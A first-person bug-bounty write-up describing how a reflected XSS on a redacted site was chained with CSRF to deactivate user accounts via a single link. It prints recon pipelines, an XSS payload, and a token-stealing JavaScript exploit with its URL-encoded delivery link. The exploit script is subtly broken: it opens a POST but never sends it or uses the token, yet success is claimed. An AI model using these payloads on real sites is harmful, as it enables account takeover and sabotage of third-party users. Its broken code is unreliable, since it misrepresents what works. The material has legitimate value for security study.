Chaining CSRF with XSS to deactivate Mass user accounts by single click

Hi, everyone

My name is Santosh Kumar Sha, I’m a security researcher from India(Assam). In this article, I will be describing how I was able to deactivate the mass user account via single click by chaining an CSRF bug with XSS to bypass the CSRF protection on deactivate function.

TOOLS used for the exploitation

1. Subfinder (https://github.com/projectdiscovery/subfinder)

2. httpx (https://github.com/projectdiscovery/httpx)

3. gau(Corben) — https://github.com/lc/gau

4. waybackurls(tomnomnom) — https://github.com/tomnomnom/waybackurls

5. qsreplace(tomnomnom) — https://github.com/tomnomnom/qsreplace)

This is the write of my Recent bug that i found . While I was doing recon for gathering all urls from internet archives using waybackurls and gau. So started fuzzing the for xss vulnerability and found one reflected xss . I tried to for session cookie stealing for higher impact but the site was using http only and also I found a CSRF bug which was not exploitable directly. So this is the writeup of how i was able to combine the two different bug to deactivated mass user account.

Suppose we assume the target name is example.com where every thing is in-scope like this:

In-scope : *.example.com

To gather all the urls from internet archives i have used waybackurls tool and gau.

gau -subs example.com

waybackurls example.com

So the chance of missing the urls still exist so in-order to be ahead of the game I don’t want to miss any urls for testing so I used subfinder and pipe to waybackurls to get all the urls for all the subdomain if exist and save it to a file.

gau -subs example.com >> vul1.txt

waybackurls example.com >> vul2.txt

subfinder -d example.com -silent | waybackurls >> vul3.txt

Now, we have collected all the urls ,so its times to resolve all the urls to filter out the dead urls from the list and filter out all the urls containing parameter and also adding simple xss payload “xsst<>” in each parameter for testing for xss vulnerability. So the command look like this below

cat vul1.txt vuln2.txt vul3.txt | grep “=” | sort -u | grep “?” | qsreplace “xsst<>”| httpx -silent >> FUZZvul.txt

So after collecting all the url with parameter with simple xss payload then I also used my magic parameter spraying techniques for testing hidden parameter for the reflected xss as i was alway come across xss with hidden parameter also i have added it to my workflow to always test for hidden parameter.

Here Is the command used for my finding reflected xss with parameter spraying technique and also adding my simple xss payload to see there whether it is reflected or not with some bash tricks to proxy the request to my burp so that test for urls with reflected payloads. So that I can manual testing/fuzzing for any waf or firewall bypass

xargs -a /root/magicparameter/ssrf.txt -I@ bash -c ‘for url in $(cat FUZZvul.txt); do echo “$url&@=xsst<>”;done’ | httpx -http-proxy http://127.0.0.1:8080

Now I finally got an url with my simple xss payload got reflected in the java script.

https://www.example.com/customer/account.jsp?custom_query=xsst<>&review=xsst<>

So finally inject the xss payload as it was reflected in javascript so i have used “</script><img src=x onerror=alert(document.domain)>” as payload w here </script> is to close the javascript tag and got xss popup.

https://www.example.com/customer/account.jsp?custom_query=xsst<>&review=</script><img src=x onerror=alert(document.domain)>

So, I decided to higher the impact of the bug because I got it will be medium category bug and the chance of duplicate is more as some else might have report but if i can show the higher impact I can get a bounty for the impact even if it is duplicates. So, tried to steal the cookie but the site was secure as it was using http only so it was secured and I tried all I know for escalating the xss but not success.

So after all this I was stuck because I was not able to higher impact of the xss but while going through the app i came across an CSRF bug where You need to issue a POST request to /account/user/deactivate, for deactivate user account function endpoint to deactivate the user account . But there’s an anti-CSRF token in a hidden input called token.This means your exploit will need to load the user account page, extract the CSRF token, and then use the token to deactivate user account. That means we cannot exploit it directly and now again I came to an dead end. But these time i decided why not chain the CSRF with my xss .

Here is My CSRF payload used:

<script>var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open(‘get’,’/account/user’,true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name=”csrf” value=”(\w+)”/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open(‘post’, ‘/account/user/deactivate’, true);
};
</script>

Now we will chain the CSRF with XSS to deactivate account. Below is the url used for chaining:

https://www.example.com/customer/account.jsp?custom_query=xsst%3C%3E&review=%3C/script%3E%3Cscript%3Evar%20req%20=%20new%20XMLHttpRequest();req.onload%20=%20handleResponse;req.open(%27get%27,%27/account/user%27,true);req.send();function%20handleResponse(){var%20token%20=%20this.responseText.match(/name=%22csrf%22%20value=%22(\w+)%22/)[1];var%20changeReq%20=%20new%20XMLHttpRequest();changeReq.open(%27post%27,%20%27/account/user/deactivate%27,%20true);%3C/script%3E

And I got email that your account has been deactivated.

After see the email My reaction

Takeaway

I’m sure that a lot of security researcher had already see there process but this how I approach to chain the CSRF bug with xss where CRSF bug was not exploitable directly and xss bug was a simple reflected xss so by combining the two different bug i was able to able to deactivate mass user account by just send an link .So never stop when across any filtration or firewall or WAF because there are way to way them and always try to chain the low severity bug to increase the impact for higher bounties and also to reduced the chances of duplicated.

That’s one of the reasons why I wanted to share my experience. also to highlight other techniques to exploit such vulnerability.